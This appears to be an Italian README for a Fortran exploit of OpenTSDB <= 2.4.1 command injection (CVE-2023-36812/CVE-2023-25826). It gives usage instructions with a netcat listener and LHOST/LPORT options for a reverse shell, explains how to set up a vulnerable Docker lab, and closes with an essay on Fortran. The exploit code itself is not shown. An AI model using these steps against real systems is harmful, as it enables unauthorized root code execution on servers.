
Un exploit per OpenTSDB <= 2.4.1 iniezione di comandi (CVE-2023-36812/CVE-2023-25826) scritto in Fortran
Un exploit per l'iniezione di comandi in OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826) scritto in Fortran
Questo è un exploit per una vulnerabilità di iniezione di comandi in OpenTSDB versioni 2.4.1 e precedenti (CVE-2023-36812/CVE-2023-25826). L'exploit è scritto in Fortran moderno e sfrutta la libreria ufficiale http-client di Fortran creata all'inizio di quest'anno.
OpenTSDB è un database di serie temporali open-source scritto in Java. Nel 2020, una vulnerabilità di iniezione di comandi è stata scoperta nelle versioni 2.4.0 e precedenti, che poteva essere sfruttata per ottenere l'esecuzione remota di codice sull'host con privilegi di root. Poiché OpenTSDB non supporta l'autenticazione, questa vulnerabilità, tracciata come CVE-2020-35476, poteva essere sfruttata da chiunque avesse accesso all'interfaccia web di OpenTSDB. Il problema è stato risolto nella versione 2.4.1.
Quest'anno è stato scoperto che la patch per CVE-2020-35476 era incompleta e l'iniezione di comandi è ancora possibile in OpenTSDB 2.4.1 attraverso diversi vettori.
Dettagli:
La versione breve è che ho visto questa conversazione:

L'idea di scrivere un exploit in il linguaggio di programmazione usato per portare l'uomo sulla luna mi ha incuriosito così tanto che ho dovuto esplorarlo io stesso. Questo exploit è il risultato di quell'esperimento. Alla domanda se abbia avuto successo, posso rispondere solo con queste sagge e maledette parole che uniscono tutti gli sviluppatori nel sangue: Funziona sulla mia macchina. ¯\(ツ)/¯
In ogni caso, i miei principali insegnamenti da questo progetto sono:
Tutto sommato, non è facile immaginare che questo linguaggio acquisti davvero importanza nella sicurezza offensiva, se non altro perché ci sono così tante valide alternative moderne per qualsiasi caso d'uso immaginabile (Python, Go, Rust, Ruby, C# solo per citarne alcuni). Ma se ti piace sperimentare con diversi linguaggi di programmazione e non ti dispiace incapsulare le tue stringhe in chiamate trim() tutto il tempo (PER FAVORE PRENDI NOTA DI QUESTO, TI RISPARMIERÀ MOLTA SOFFERENZA), Fortran vale assolutamente la pena di provarlo. Sto seriamente facendo il tifo per questo linguaggio ora e potrei riconsiderarlo se continueranno a migliorare il supporto per la libreria http-client, specialmente se aggiungeranno una libreria http-server a un certo punto.
TL;DR: La libreria http-client di Fortran fa brr.
nc -nlvp 1337
opentsdb_key_cmd_injection# cd /path/to/opentsdb_key_cmd_injection/
fpm (assicurati di averlo installato prima. Vedi le istruzioni di installazione nella sezione successiva)# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
Opzioni:
-t - URL TARGET: l'URL base per OpenTSDB (obbligatorio)-l - LHOST: l'IP del sistema dove stai eseguendo un listener (obbligatorio)-p - LPORT: la porta del listener (obbligatorio)-v - VERBOSE: abilita la stampa dettagliata (opzionale)gfortran. Su sistemi basati su Debian si può fare tramite:apt install gfortran
chmod +x /<path>/to/fpm
Assicurati di avere git installato sul tuo sistema prima di installare fpm.
Per un'installazione manuale, puoi seguire le istruzioni ufficiali qui. Questo può essere fastidioso, quindi consiglio di usare Docker.
Per la versione 2.4.0, puoi usare l'immagine docker di vulnhub e seguire le istruzioni di installazione qui. Quell'immagine è stata creata per CVE-2020-35476, una vulnerabilità più vecchia in OpenTSDB fino alla 2.4.0.
Per la versione 2.4.1 e probabilmente qualsiasi altra versione, puoi sfruttare l'immagine vulhub per OpenTSDB 2.4.0 e modificarla per installare la versione desiderata. Ho seguito questo approccio per la 2.4.1 e ha funzionato bene.
Dockerfile e docker-entrypoint.sh di vulhub OpenTSDB 2.4.0 da qui e salvali in una directory dedicata.Dockerfile, sostituisci tutte le occorrenze di 2.4.0 con la versione desiderata, ad esempio 2.4.1docker-entrypoint.shdocker-compose.yml con il seguente contenuto:version: '2'
services:
opentsdb:
build: ./path-to-your-dockerfile-directory
ports:
- "4242:4242"
Ho usato questa struttura di file:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
docker-compose.yml:docker-compose up -d
Fortran è principalmente noto come un linguaggio arcaico che ha giocato un ruolo importante nella storia dell'informatica moderna, ma non può più essere considerato rilevante oggi. È stato rilasciato per la prima volta nel 1957, precedendo sia ARPANET che Unix di oltre un decennio. Basandosi su questo video sulle serie temporali è stato il linguaggio di programmazione dominante per tutti gli anni '60 e '70, ed è rimasto tra i 10 linguaggi più popolari fino alla fine degli anni '90. Ma quando Windows 98 è stato rilasciato, era chiaramente passato di moda, in favore di linguaggi più moderni come C, C++, Java e JavaScript, tutti ancora ampiamente utilizzati oggi.
A parte le anime coraggiose che mantengono sistemi legacy, dubito che molte persone in IT (figuriamoci fuori dalla nostra bolla) abbiano incontrato Fortran negli ultimi due decenni, o siano addirittura consapevoli che esista ancora. Nonostante ciò, Fortran rimane in sviluppo attivo. Come dichiarato sul sito ufficiale di Fortran, il linguaggio è stato rivisto l'ultima volta nel 2018, e speriamo di vedere un'altra revisione quest'anno (2023). In effetti, sembra che la comunità di Fortran sia stata molto attiva negli ultimi anni, pubblicando diversi progetti importanti per modernizzare l'ecosistema, tra cui:
Considerato ciò, sembra che i manutentori mirino a un ritorno in scena di Fortran, o almeno a dare al linguaggio una possibilità di sopravvivere per qualche altro decennio. Anche se il più fanatico sostenitore di Fortran probabilmente non si aspetta di vedere il linguaggio rientrare nella top 10 dei linguaggi di programmazione più popolari, la modernizzazione in corso del linguaggio e del suo ecosistema ha probabilmente reso Fortran più rilevante di quanto non lo sia stato negli ultimi uno o due decenni.